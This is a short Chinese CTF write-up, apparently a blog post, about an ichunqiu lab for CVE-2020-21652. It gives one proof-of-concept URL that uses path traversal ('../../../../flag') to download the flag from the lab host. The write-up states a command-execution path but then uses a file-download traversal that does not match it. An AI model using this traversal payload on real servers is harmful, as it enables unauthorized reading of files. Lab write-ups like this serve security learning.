春秋云境CVE-2020-21652(极速版)

1.阅读靶场介绍

这里可以得到的有用信息就是

路径:admin.php/point/addqq

方法:存在任意命令执行漏洞

2.启动靶场

我们会得到一个如下的页面

接下来我们直接上poc,访问这个路径

eci-2zegea1j3i7cgoqtc8q8.cloudeci1.ichunqiu.com:80/index.php/bbs/index/download?url=../../../../flag&local=1&name

我们就能下载flag了

到此又要恭喜各位博主攻克一个靶场了

感谢你们宝贵的时间

期待博主攻克任何靶场的话,欢迎留言

相关推荐
小蒋观天下6 小时前
两轮车检测AI摄像头——2026行业竞争格局、商业模式与核心痛点
大数据·人工智能·安全·计算机视觉·ai大模型
小蒋观天下8 小时前
两轮车检测AI摄像头——2026-2030年未来市场规模、增长逻辑与行业天花板
大数据·人工智能·安全·计算机视觉·ai大模型
yu_zhidun9 小时前
企业管理者看:员工上网行为管理软件,别再只靠网关“赌安全”
大数据·人工智能·安全·域智盾
2601_9623649710 小时前
电脑人脸解锁的安全基石,聊聊 Windows Hello 硬件规范
windows·安全·电脑
重明链迹实验室11 小时前
重明链迹丨每周区块链安全要闻(0921-0927)
安全·web3·区块链
恣睢s12 小时前
BugKu——shell
网络安全
AOXU_Consulting13 小时前
医用吊塔:手术室和 ICU 天花板上那根“臂“是做什么的
安全·健康医疗
程序员JerrySUN13 小时前
Jetson边缘嵌入式实战课程第四讲:用 Yocto 定制 Jetson 系统,从开发走向产品化
arm开发·人工智能·安全·计算机视觉·目标跟踪
卓豪终端管理14 小时前
员工手机上的企业App出问题了,IT在电话里说不清、员工也不会操作,派人上门成本又高。有没有安全可控的远程协助方式?
安全
EasyCVR14 小时前
监控画面还在传≠还能用!EasyVQD视频质量诊断:识别监控 “假在线”!
安全·easycvr·国标gb28181